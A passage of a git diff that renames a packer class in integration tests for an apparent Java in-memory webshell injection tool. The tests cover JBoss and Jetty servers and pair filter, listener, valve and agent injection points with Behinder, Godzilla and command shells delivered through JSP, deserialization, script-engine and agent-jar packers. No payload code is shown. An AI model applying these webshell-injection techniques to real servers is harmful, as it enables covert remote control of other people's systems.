Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java index a67cd56e..657a8450 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.jbossas; -import com.reajason.javaweb.memshell.JbossShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,30 +42,30 @@ public class Jboss610ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -78,7 +77,7 @@ public class Jboss610ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java index 5acae718..a157a0f2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.jbossas; -import com.reajason.javaweb.memshell.JbossShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -46,21 +45,21 @@ public class Jboss711ContainerTest { */ static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -73,7 +72,7 @@ public class Jboss711ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java index d16666e7..89a2eca2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java @@ -1,10 +1,9 @@ package com.reajason.javaweb.integration.jbosseap; -import com.reajason.javaweb.memshell.JbossShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,21 +42,21 @@ public class JbossEap6ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -69,7 +68,7 @@ public class JbossEap6ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java index 31e2a82c..a377c62f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.UndertowShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,27 +43,27 @@ public class JbossEap7ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -75,7 +75,7 @@ public class JbossEap7ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java index aa820140..908e050a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.JettyShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,27 +42,27 @@ public class Jetty10ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)); + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)); } @AfterAll @@ -73,7 +73,7 @@ public class Jetty10ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java index 2c8bcdc9..8a22ee60 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.JettyShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,27 +42,27 @@ public class Jetty11ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -74,7 +74,7 @@ public class Jetty11ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java index b7794f34..5b0e408a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java +++ 